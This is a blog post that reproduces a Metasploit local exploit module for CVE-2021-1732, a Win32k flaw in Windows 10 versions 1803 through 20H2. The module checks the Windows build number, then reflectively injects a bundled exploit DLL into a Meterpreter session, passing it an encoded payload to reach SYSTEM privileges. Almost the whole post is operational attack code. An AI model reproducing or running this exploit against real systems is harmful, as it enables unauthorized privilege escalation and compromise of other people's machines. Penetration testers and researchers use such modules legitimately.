Tuesday, April 6, 2021

Win32k ConsoleControl Offset Confusion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Win32k ConsoleControl Offset Confusion',
'Description' => %q{
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being
treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to
achieve an out of bounds write operation, eventually leading to privilege escalation.
},
'License' => MSF_LICENSE,
'Author' => [
'BITTER APT', # exploit as used in the wild
'JinQuan', # detailed analysis
'MaDongZe', # detailed analysis
'TuXiaoYi', # detailed analysis
'LiHao', # detailed analysis
'KaLendsi', # github poc targeting v1909
'Spencer McIntyre' # metasploit module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Targets' =>
[
[ 'Windows 10 v1803-20H2 x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' =>
{
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2021-1732' ],
[ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],
[ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],
[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],
# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit
[ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],
[ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],
[ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],
[ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ]
],
'DisclosureDate' => '2021-02-10',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
}
)
)
end

def check
sysinfo_value = sysinfo['OS']

if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end

build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19042)
print_error('The exploit only supports Windows 10 versions 1803 - 20H2')
return CheckCode::Safe
end

CheckCode::Appears
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end

encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-1732', 'CVE-2021-1732.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)

print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end
 

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Thanks for everything Templateism - You should have written the code a little more complicated